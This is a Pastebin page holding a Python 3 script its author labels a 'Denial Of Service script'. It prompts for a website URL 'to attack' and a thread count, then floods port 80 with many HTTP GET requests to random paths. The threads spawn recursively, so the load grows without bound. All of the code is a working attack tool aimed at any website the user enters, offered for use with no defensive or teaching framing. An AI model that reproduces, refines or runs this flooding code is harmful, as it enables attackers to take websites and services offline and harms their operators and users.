NilsRapilly

Python 3 DOS Script

Dec 16th, 2018 (edited)
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.75 KB | None | 0 0
  1. #_____ _____imports _____
  2.  
  3. import random
  4. import os
  5. import socket
  6. import string
  7. import sys
  8. import threading
  9. import time
  10.  
  11.  
  12. #share variable for thread counts
  13. thread_num = 0
  14. thread_num_mutex = threading.Lock()
  15.  
  16. #___________________UNDER METHOD _________________________
  17.  
  18. class AttackVector:
  19.     def __init__(self,address,port,num_req):
  20.         self.address = address
  21.         self.ip = ""
  22.         self.port = port
  23.         self.num_req = num_req
  24.         self.RandStringParsed = ""
  25.  
  26.     def FQDNparse(self):
  27.         """_____________ Doc ___________________
  28.            Converts a Fully Qualified Domain Name
  29.            into ip address for further use
  30.        """
  31.         try:
  32.             HeaderRemover = str(self.address).replace("https://", "").replace("http://", "").replace("www.", "")
  33.             self.ip = socket.gethostbyname(HeaderRemover)
  34.  
  35.         except socket.gaierror:
  36.             print("incorrect website entered")
  37.             sys.exit(2)
  38.  
  39.  
  40.     def url_path_forge(self):
  41.         """_____________ Doc ____________________
  42.            Generates random string to send the server
  43.        """
  44.         randstring = str(string.ascii_letters + string.digits+string.punctuation)
  45.         self.RandStringParsed = "".join(random.sample(randstring, 5))
  46.  
  47.     def core(self):
  48.         """_____________ Doc ____________________
  49.            Creates threads RAW sockets and send forged
  50.            message to the server by socket binding
  51.  
  52.        """
  53.         RandomSend = self.RandStringParsed
  54.         dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  55.  
  56.         try:
  57.             # RAW SOCKET connection
  58.             msg = "GET {} HTTP/1.1\nHost: {}\n\n".format(RandomSend,self.address)
  59.             dos.connect((self.ip, self.port))
  60.             dos.send(msg.encode())
  61.             #print("GET {} HTTP/1.1\nHost: {}\n\n" .format(url_path,host))
  62.         except socket.error as e:
  63.             print("the error {} occured".format(e))
  64.         finally:
  65.             # close socket
  66.             dos.shutdown(socket.SHUT_RDWR)
  67.             dos.close()
  68.  
  69.         self.print_status()
  70.         all_threads = []
  71.         for i in range(int(self.num_req)):
  72.             t1 = threading.Thread(target=self.core)
  73.             t1.start()
  74.             all_threads.append(t1)
  75.  
  76.             time.sleep(0.01)
  77.         for current_thread in all_threads:
  78.             current_thread.join()
  79.  
  80.     def print_status(self):
  81.         global thread_num
  82.         thread_num_mutex.acquire(True)
  83.         thread_num += 1
  84.         print("\n " + time.ctime().split(" ")[3] + " " + "[" + str(thread_num), end='\r')
  85.         thread_num_mutex.release()
  86.  
  87.  
  88. #____________NORMAL METHODS ___________________________
  89.  
  90.  
  91. def getvalues():
  92.     """_____ Doc _____
  93.        Fetching values
  94.    """
  95.     address = input("enter the website url to attack >>> ") # www.whateveryouwant.com                                # is to be FQDN parsed
  96.     port = 80                                     # default port
  97.     num_requests = input("enter the number of Threads to run >>>") # 10 000 by default
  98.     return address,port,num_requests
  99.  
  100.  
  101. def banner():
  102.     print("""
  103. ██████╗  █████╗ ██╗███╗   ██╗███████╗██╗██████╗ ███████╗
  104. ██╔══██╗██╔══██╗██║████╗  ██║██╔════╝██║██╔══██╗██╔════╝
  105. ██████╔╝███████║██║██╔██╗ ██║█████╗  ██║██████╔╝█████╗  
  106. ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝  ██║██╔══██╗██╔══╝  
  107. ██║  ██║██║  ██║██║██║ ╚████║██║     ██║██║  ██║███████╗
  108. ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝
  109.            (May the 5OO force be with you)
  110.    
  111.    Author: TKshi128
  112.    vendor: 2.0
  113.    Description: Denial Of Service script
  114.    Written using under methods and python 3.6                                                    
  115.    
  116.    """)
  117.  
  118.  
  119.  
  120. if __name__ == '__main__':
  121.     """
  122.        a = address to attack www.stuff.com
  123.        b = port but is left by default. Modular for FU
  124.        c = Threads numbers
  125.        
  126.        dos is an object that is initialised with a b and c
  127.        dos Parse is internal computing of values
  128.        dos.core starts attacking
  129.    """
  130.     banner() #speaks by itself
  131.     a, b, c = getvalues()
  132.     dos = AttackVector(a, b, c)
  133.     dos.FQDNparse()
  134.     dos.core()
  135.     # dos is our new attack class
Add Comment
Please, Sign In to add comment